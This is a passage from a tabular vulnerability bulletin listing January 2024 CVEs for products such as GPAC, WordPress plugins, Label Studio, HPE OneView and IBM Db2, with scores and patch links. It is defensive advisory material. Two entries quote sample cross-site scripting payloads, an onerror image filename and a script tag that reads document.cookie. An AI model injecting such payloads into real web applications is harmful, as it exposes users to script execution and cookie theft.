N/A	24-Jan-2024	4.3	Inappropriate implementation in Extensions API in Google Chrome prior to 121.0.6167.85 allowed an attacker who convinced a user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Low) **CVE ID : CVE-2024-0811**	https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html	A-GOO-CHRO-130224/500
Vendor: gpac					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: gpac					
Affected Version(s): 2.3					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	25-Jan-2024	7.8	GPAC v2.3 was detected to contain a buffer overflow via the function gf_isom_new_generic_sample_description function in the isomedia/isom_write.c:4577 **CVE ID : CVE-2024-22749**	https://github.com/gpac/gpac/issues/2713	A-GPA-GPAC-130224/501
Vendor: gravitymaster					
Product: product_enquiry_for_woocommerce					
Affected Version(s): * Up to (excluding) 3.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	22-Jan-2024	4.8	The Product Enquiry for WooCommerce WordPress plugin before 3.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup) **CVE ID : CVE-2023-6626**	N/A	A-GRA-PROD-130224/502
Cross-Site Request Forgery (CSRF)	22-Jan-2024	4.3	The Product Enquiry for WooCommerce WordPress plugin	N/A	A-GRA-PROD-130224/503

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			before 3.1 does not have a CSRF check in place when deleting inquiries, which could allow attackers to make a logged in admin delete them via a CSRF attack **CVE ID : CVE-2023-6625**		
Vendor: Group-office					
Product: group_office					
Affected Version(s): * Up to (excluding) 6.8.29					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Group-Office is an enterprise CRM and groupware tool. Affected versions are subject to a vulnerability which is present in the file upload mechanism of Group Office. It allows an attacker to execute arbitrary JavaScript code by embedding it within a file's name. For instance, using a filename such as “><img src=x onerror=prompt('XSS')>.jpg” triggers the vulnerability. When this file is uploaded, the JavaScript code within the filename	https://github.com/Intermesh/groupoffice/commit/2a52a5d42d080db6738d70eba30294bcd94ebd09, https://github.com/Intermesh/groupoffice/security/advisories/GHSA-p7w9-h6c3-wqpp	A-GRO-GROU-130224/504

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is executed. This issue has been addressed in version 6.8.29. All users are advised to upgrade. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22418**		
Vendor: gruen					
Product: evewa3					
Affected Version(s): From (including) 31 Up to (including) 53					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	6.1	A Cross Site Scripting (XSS) vulnerability in evewa3ajax.php in GRUEN eVEWA3 Community 31 through 53 allows attackers to obtain escalated privileges via a crafted request to the login panel. **CVE ID : CVE-2023-25295**	N/A	A-GRU-EVEW-130224/505
Vendor: Haxx					
Product: curl					
Affected Version(s): * Up to (excluding) 8.4.0					
N/A	23-Jan-2024	7.8	Multiple issues were addressed by updating to curl version 8.4.0. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 16.7.5	https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support	A-HAX-CURL-130224/506

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and iPadOS 16.7.5. Multiple issues in curl. **CVE ID : CVE-2023-42915**	.apple.com/en-us/HT214063, https://support.apple.com/kb/HT214036	
Vendor: hcltechsw					
Product: bigfix_bare_osd_metal_server_webui					
Affected Version(s): * Up to (excluding) 311.28					
N/A	16-Jan-2024	9.8	HCL BigFix Bare OSD Metal Server WebUI version 311.19 or lower has missing or insecure tags that could allow an attacker to execute a malicious script on the user's browser. **CVE ID : CVE-2023-37522**	https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0109754	A-HCL-BIGF-130224/507
N/A	16-Jan-2024	5.3	HCL BigFix Bare OSD Metal Server WebUI version 311.19 or lower can sometimes include sensitive information in a query string which could allow an attacker to execute a malicious attack. **CVE ID : CVE-2023-37521**	https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0109754	A-HCL-BIGF-130224/508
Affected Version(s): * Up to (including) 311.19					
N/A	16-Jan-2024	9.8	Missing or insecure tags in the HCL BigFix Bare OSD	https://support.hcltechsw.com/csm?id=kb_artic	A-HCL-BIGF-130224/509

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Metal Server WebUI version 311.19 or lower could allow an attacker to execute a malicious script on the user's browser. **CVE ID : CVE-2023-37523**	le&sysparm_article=KB0109754	
Vendor: hiweb					
Product: migration_simple					
Affected Version(s): * Up to (including) 2.0.0.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The hiWeb Migration Simple WordPress plugin through 2.0.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high-privilege users such as admins. **CVE ID : CVE-2023-0769**	N/A	A-HIW-MIGR-130224/510
Vendor: hongmaple					
Product: octopus					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an	22-Jan-2024	9.8	A vulnerability was found in hongmaple octopus 1.0. It has been classified as critical. Affected is	N/A	A-HON-OCTO-130224/511

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
SQL Command ('SQL Injection')			an unknown function of the file /system/role/list. The manipulation of the argument dataScope leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The identifier of this vulnerability is VDB-251700. **CVE ID : CVE-2024-0784**		
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	25-Jan-2024	9.8	A vulnerability was found in hongmaple octopus 1.0. It has been classified as critical. Affected is an unknown function of the file /system/dept/edit. The manipulation of the argument ancestors leads to sql injection. It is possible to launch the attack	N/A	A-HON-OCTO-130224/512

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. VDB-252042 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0890**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	5.4	A vulnerability was found in hongmaple octopus 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality. The manipulation of the argument description with the input <script>alert(document.cookie)</script> leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This	N/A	A-HON-OCTO-130224/513

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			product does not use versioning. This is why information about affected and unaffected releases are unavailable. The associated identifier of this vulnerability is VDB-252043. **CVE ID : CVE-2024-0891**		
Vendor: hono					
Product: node-server					
Affected Version(s): From (including) 1.3.0 Up to (excluding) 1.4.1					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	22-Jan-2024	5.3	@hono/node-server is an adapter that allows users to run Hono applications on Node.js. Since v1.3.0, @hono/node-server has used its own Request object with `url` behavior that is unexpected. In the standard API, if the URL contains `..`, here called "double dots", the URL string returned by Request will be in the resolved path. However, the `url` in @hono/node-server's Request as does not resolve double dots, so `http://localhost/s	https://github.com/honojs/node-server/commit/dd9b9a9b23e3896403c90a740e7f1f0892feb402, https://github.com/honojs/node-server/security/advisories/GHSA-rjq5-w47x-x359	A-HON-NODE-140224/514

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			tatic/.. /foo.txt` is returned. This causes vulnerabilities when using `serveStatic`. Modern web browsers and a latest `curl` command resolve double dots on the client side, so this issue doesn't affect those using either of those tools. However, problems may occur if accessed by a client that does not resolve them. Version 1.4.1 includes the change to fix this issue. As a workaround, don't use `serveStatic`. **CVE ID : CVE-2024-23340**		
Vendor: HP					
Product: oneview					
Affected Version(s): * Up to (excluding) 8.70					
Improper Neutralization of Special Elements used in a Command ('Comman	23-Jan-2024	7.8	HPE OneView may allow command injection with local privilege escalation. **CVE ID : CVE-2023-50274**	https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04586en_us	A-HP-ONEV-140224/515

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
d Injection')					
Improper Authentication	23-Jan-2024	7.5	HPE OneView may allow clusterService Authentication Bypass resulting in denial of service. **CVE ID : CVE-2023-50275**	https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04586en_us	A-HP-ONEV-140224/516
N/A	23-Jan-2024	5.5	HPE OneView may have a missing passphrase during restore. **CVE ID : CVE-2023-6573**	https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04586en_us	A-HP-ONEV-140224/517
Vendor: html-js					
Product: doracms					
Affected Version(s): 2.1.8					
Use of Hard-coded Credentials	29-Jan-2024	9.8	DoraCMS 2.1.8 is vulnerable to Use of Hard-coded Cryptographic Key. **CVE ID : CVE-2023-51840**	https://github.com/doramart/DoraCMS/issues/262	A-HTM-DORA-140224/518
Vendor: humansignal					
Product: label_studio					
Affected Version(s): * Up to (excluding) 1.10.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	24-Jan-2024	6.1	Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the	N/A	A-HUM-LABE-140224/519

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. `data_import/uploader.py` lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, `data_import/api.py`lines 595C1 through 616C62 demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			JavaScript when visited. Version 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy. Alternatively, restrict the allowed file extensions that may be downloaded. **CVE ID : CVE-2024-23633**		
Affected Version(s): * Up to (excluding) 1.9.2					
Improper Neutralization of Input During Web Page Generation	23-Jan-2024	5.4	Label Studio is an a popular open source data labeling tool. Versions prior to 1.9.2 have a cross-site scripting (XSS)	https://github.com/HumanSignal/label-studio/commit/a7a71e594f32ec4af8f3f800d5ccb8662e275da3	A-HUM-LABE-140224/520

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			vulnerability that could be exploited when an authenticated user uploads a crafted image file for their avatar that gets rendered as a HTML file on the website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. The file `users/functions.py` lines 18-49 show that the only verification check is that the file is an image by extracting the dimensions from the file. Label Studio serves avatar images using Django's		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			built-in `serve` view, which is not secure for production use according to Django's documentation. The issue with the Django `serve` view is that it determines the `Content-Type` of the response by the file extension in the URL path. Therefore, an attacker can upload an image that contains malicious HTML code and name the file with a `.html` extension to be rendered as a HTML page. The only file extension validation is performed on the client-side, which can be easily bypassed. Version 1.9.2 fixes this issue. Other remediation strategies include validating the file extension on the server side, not in client-side code; removing the use of Django's `serve` view and		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			implement a secure controller for viewing uploaded avatar images; saving file content in the database rather than on the filesystem to mitigate against other file related vulnerabilities; and avoiding trusting user controlled inputs. **CVE ID : CVE-2023-47115**		
Vendor: hyper					
Product: hyper					
Affected Version(s): * Up to (including) 3.4.1					
N/A	28-Jan-2024	9.8	An issue in Hyper on macOS version 3.4.1 and before, allows remote attackers to execute arbitrary code via the RunAsNode and enableNodeCliInspectArguments settings. **CVE ID : CVE-2024-23741**	N/A	A-HYP-HYPE-140224/521
Vendor: hyperledger					
Product: ursa					
Affected Version(s): * Up to (excluding) 0.3					
Inclusion of Functionality from Untrusted	16-Jan-2024	5.3	Ursa is a cryptographic library for use with blockchains. A weakness in the Hyperledger	https://github.com/hyperledger/ursa/security/advisories/GH	A-HYP-URSA-140224/522

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Control Sphere			AnonCreds specification that is not mitigated in the Ursa and AnonCreds implementations is that the Issuer does not publish a key correctness proof demonstrating that a generated private key is sufficient to meet the unlinkability guarantees of AnonCreds. The Ursa and AnonCreds CL-Signatures implementations always generate a sufficient private key. A malicious issuer could in theory create a custom CL Signature implementation (derived from the Ursa or AnonCreds CL-Signatures implementations) that uses weakened private keys such that presentations from holders could be shared by verifiers to the issuer who could determine the holder to which the credential was issued. This	SA-2q6j-gqc4-4gw3	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability could impact holders of AnonCreds credentials implemented using the CL-signature scheme in the Ursa and AnonCreds implementations of CL Signatures. The ursa project has has moved to end-of-life status and no fix is expected. **CVE ID : CVE-2022-31021**		
Affected Version(s): 0.1.0					
Use of a Broken or Risky Cryptographic Algorithm	16-Jan-2024	8.1	Ursa is a cryptographic library for use with blockchains. The revocation schema that is part of the Ursa CL-Signatures implementations has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model, allowing a malicious holder of a revoked credential to generate a valid Non-Revocation Proof for that credential as part of an AnonCreds presentation. A verifier may verify	https://github.com/hyperledger-archives/ursa/security/advisories/GHSA-r78f-4q2q-hvv4	A-HYP-URSA-140224/523

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			a credential from a holder as being "not revoked" when in fact, the holder's credential has been revoked. Ursa has moved to end-of-life status and no fix is expected. **CVE ID : CVE-2024-21670**		
Use of a Broken or Risky Cryptographic Algorithm	16-Jan-2024	6.5	Ursa is a cryptographic library for use with blockchains. The revocation scheme that is part of the Ursa CL-Signatures implementations has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model. Notably, a malicious verifier may be able to generate a unique identifier for a holder providing a verifiable presentation that includes a Non-Revocation proof. The impact of the flaw is that a malicious verifier may be able to determine a unique identifier for a	https://github.com/hyperledger-archives/ursa/security/advisories/GHSA-6698-mhxx-r84g	A-HYP-URSA-140224/524

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			holder presenting a Non-Revocation proof. Ursa has moved to end-of-life status and no fix is expected. **CVE ID : CVE-2024-22192**		
Vendor: hypr					
Product: workforce_access					
Affected Version(s): * Up to (excluding) 8.7					
Improper Restriction of Operations within the Bounds of a Memory Buffer	16-Jan-2024	7.8	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in HYPR Workforce Access on Windows allows Overflow Buffers.This issue affects Workforce Access: before 8.7. **CVE ID : CVE-2023-6334**	https://www.hypr.com/security-advisories	A-HYP-WORK-140224/525
Improper Link Resolution Before File Access ('Link Following')	16-Jan-2024	7.8	Improper Link Resolution Before File Access ('Link Following') vulnerability in HYPR Workforce Access on Windows allows User-Controlled Filename.This issue affects Workforce Access: before 8.7.	https://www.hypr.com/security-advisories	A-HYP-WORK-140224/526

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-6335		
Improper Link Resolution Before File Access ('Link Following')	16-Jan-2024	7.8	Improper Link Resolution Before File Access ('Link Following') vulnerability in HYPR Workforce Access on MacOS allows User-Controlled Filename.This issue affects Workforce Access: before 8.7. **CVE ID : CVE-2023-6336**	https://www.hypr.com/security-advisories	A-HYP-WORK-140224/527
Improper Input Validation	16-Jan-2024	5.5	Improper Input Validation vulnerability in HYPR Workforce Access on Windows allows Path Traversal.This issue affects Workforce Access: before 8.7. **CVE ID : CVE-2023-5097**	https://www.hypr.com/security-advisories	A-HYP-WORK-140224/528
Vendor: IBM					
Product: app_connect_enterprise					
Affected Version(s): From (including) 11.0.0.1 Up to (including) 11.0.0.24					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Restriction of Excessive Authentication Attempts	18-Jan-2024	9.1	IBM App Connect Enterprise 11.0.0.1 through 11.0.0.24 and 12.0.1.0 through 12.0.11.0 could allow a remote attacker to obtain sensitive information or cause a denial of service due to improper restriction of excessive authentication attempts. IBM X-Force ID: 279143. **CVE ID : CVE-2024-22317**	https://exchange.xforce.ibmcloud.com/vulnerabilities/279143, https://www.ibm.com/support/pages/node/7108661	A-IBM-APP_-140224/529
Affected Version(s): From (including) 12.0.1.0 Up to (including) 12.0.11.0					
Improper Restriction of Excessive Authentication Attempts	18-Jan-2024	9.1	IBM App Connect Enterprise 11.0.0.1 through 11.0.0.24 and 12.0.1.0 through 12.0.11.0 could allow a remote attacker to obtain sensitive information or cause a denial of service due to improper restriction of excessive authentication attempts. IBM X-Force ID: 279143. **CVE ID : CVE-2024-22317**	https://exchange.xforce.ibmcloud.com/vulnerabilities/279143, https://www.ibm.com/support/pages/node/7108661	A-IBM-APP_-140224/530
Product: db2					
Affected Version(s): * Up to (excluding) 11.5.9					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 federated server is vulnerable to a denial of service when a specially crafted cursor is used. IBM X-Force ID: 268759. **CVE ID : CVE-2023-45193**	https://exchange.xforce.ibmcloud.com/vulnerabilities/268759, https://www.ibm.com/support/pages/node/7105501	A-IBM-DB2-140224/531
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to an insecure cryptographic algorithm and to information disclosure in stack trace under exceptional conditions. IBM X-Force ID: 270730. **CVE ID : CVE-2023-47152**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270730, https://www.ibm.com/support/pages/node/7105605	A-IBM-DB2-140224/532
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5 under certain circumstances could allow an authenticated user to the database to cause a denial of service when a statement is run on columnar tables.	https://exchange.xforce.ibmcloud.com/vulnerabilities/273393, https://www.ibm.com/support/pages/node/7105506	A-IBM-DB2-140224/533

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			IBM X-Force ID: 273393. **CVE ID : CVE-2023-50308**		
N/A	22-Jan-2024	6.5	IIBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270264. **CVE ID : CVE-2023-47141**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270264, https://www.ibm.com/support/pages/node/7105497	A-IBM-DB2-140224/534
Affected Version(s): From (including) 10.5.0.0 Up to (including) 10.5.0.11					
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644. **CVE ID : CVE-2023-47746**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644, https://www.ibm.com/support/pages/node/7105505	A-IBM-DB2-140224/535
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support	A-IBM-DB2-140224/536

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**	/pages/node/7105503	
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750. **CVE ID : CVE-2023-47158**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270750, https://www.ibm.com/support/pages/node/7105496	A-IBM-DB2-140224/537
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	A-IBM-DB2-140224/538

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			X-Force ID: 272646. **CVE ID : CVE-2023-47747**		
Affected Version(s): From (including) 11.1.0.0 Up to (including) 11.1.4.7					
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644. **CVE ID : CVE-2023-47746**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644, https://www.ibm.com/support/pages/node/7105505	A-IBM-DB2-140224/539
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support/pages/node/7105503	A-IBM-DB2-140224/540

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750. **CVE ID : CVE-2023-47158**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270750, https://www.ibm.com/support/pages/node/7105496	A-IBM-DB2-140224/541
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646. **CVE ID : CVE-2023-47747**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	A-IBM-DB2-140224/542
Affected Version(s): From (including) 11.5 Up to (including) 11.5.9					
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644, https://www.ibm.com/support/pages/node/7105505	A-IBM-DB2-140224/543

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			a denial of service using a specially crafted query. IBM X-Force ID: 272644. **CVE ID : CVE-2023-47746**		
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support/pages/node/7105503	A-IBM-DB2-140224/544
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750.	https://exchange.xforce.ibmcloud.com/vulnerabilities/270750, https://www.ibm.com/support/pages/node/7105496	A-IBM-DB2-140224/545

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-47158		
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646. **CVE ID : CVE-2023-47747**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	A-IBM-DB2-140224/546
Product: maximo_application_suite					
Affected Version(s): From (including) 8.10 Up to (excluding) 8.10.6					
Cross-Site Request Forgery (CSRF)	19-Jan-2024	8.8	IBM Maximo Asset Management 7.6.1.3 and Manage Component 8.10 through 8.11 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 271843. **CVE ID : CVE-2023-47718**	https://exchange.xforce.ibmcloud.com/vulnerabilities/271843, https://www.ibm.com/support/pages/node/7107738, https://www.ibm.com/support/pages/node/7107740	A-IBM-MAXI-140224/547
Server-Side Request	19-Jan-2024	5.4	IBM Maximo Spatial Asset Management 8.10	https://exchange.xforce.ibmcloud.com/vulnerab	A-IBM-MAXI-140224/548

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Forgery (SSRF)			is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 255288. **CVE ID : CVE-2023-32337**	ilities/255288, https://www.ibm.com/support/pages/node/7107712	
Affected Version(s): From (including) 8.11 Up to (including) 8.11.2					
Cross-Site Request Forgery (CSRF)	19-Jan-2024	8.8	IBM Maximo Asset Management 7.6.1.3 and Manage Component 8.10 through 8.11 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 271843. **CVE ID : CVE-2023-47718**	https://exchange.xforce.ibmcloud.com/vulnerabilities/271843, https://www.ibm.com/support/pages/node/7107738, https://www.ibm.com/support/pages/node/7107740	A-IBM-MAXI-140224/549
Server-Side Request Forgery (SSRF)	19-Jan-2024	5.4	IBM Maximo Spatial Asset Management 8.10 is vulnerable to server-side request forgery (SSRF).	https://exchange.xforce.ibmcloud.com/vulnerabilities/255288, https://www.ibm.com/support	A-IBM-MAXI-140224/550

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 255288. **CVE ID : CVE-2023-32337**	/pages/node/7107712	
Product: maximo_asset_management					
Affected Version(s): 7.6.1.3					
Cross-Site Request Forgery (CSRF)	19-Jan-2024	8.8	IBM Maximo Asset Management 7.6.1.3 and Manage Component 8.10 through 8.11 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 271843. **CVE ID : CVE-2023-47718**	https://exchange.xforce.ibmcloud.com/vulnerabilities/271843, https://www.ibm.com/support/pages/node/7107738, https://www.ibm.com/support/pages/node/7107740	A-IBM-MAXI-140224/551
Server-Side Request Forgery (SSRF)	19-Jan-2024	5.4	IBM Maximo Spatial Asset Management 8.10 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated	https://exchange.xforce.ibmcloud.com/vulnerabilities/255288, https://www.ibm.com/support/pages/node/7107712	A-IBM-MAXI-140224/552

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 255288. **CVE ID : CVE-2023-32337**		
Product: merge_efilm_workstation					
Affected Version(s): * Up to (including) 4.2					
Use of Hard-coded Credentials	26-Jan-2024	9.8	A hardcoded credential vulnerability exists in IBM Merge Healthcare eFilm Workstation. A remote, unauthenticated attacker can exploit this vulnerability to achieve information disclosure or remote code execution. **CVE ID : CVE-2024-23619**	N/A	A-IBM-MERG-140224/553
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	26-Jan-2024	9.8	A buffer overflow exists in IBM Merge Healthcare eFilm Workstation license server. A remote, unauthenticated attacker can exploit this vulnerability to	N/A	A-IBM-MERG-140224/554

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			achieve remote code execution. **CVE ID : CVE-2024-23621**		
Out-of-bounds Write	26-Jan-2024	9.8	A stack-based buffer overflow exists in IBM Merge Healthcare eFilm Workstation license server. A remote, unauthenticated attacker can exploit this vulnerability to achieve remote code execution with SYSTEM privileges. **CVE ID : CVE-2024-23622**	N/A	A-IBM-MERG-140224/555
Improper Privilege Management	26-Jan-2024	7.8	An improper privilege management vulnerability exists in IBM Merge Healthcare eFilm Workstation. A local, authenticated attacker can exploit this vulnerability to escalate privileges to SYSTEM. **CVE ID : CVE-2024-23620**	N/A	A-IBM-MERG-140224/556
Product: openpages_with_watson					
Affected Version(s): 9.0					

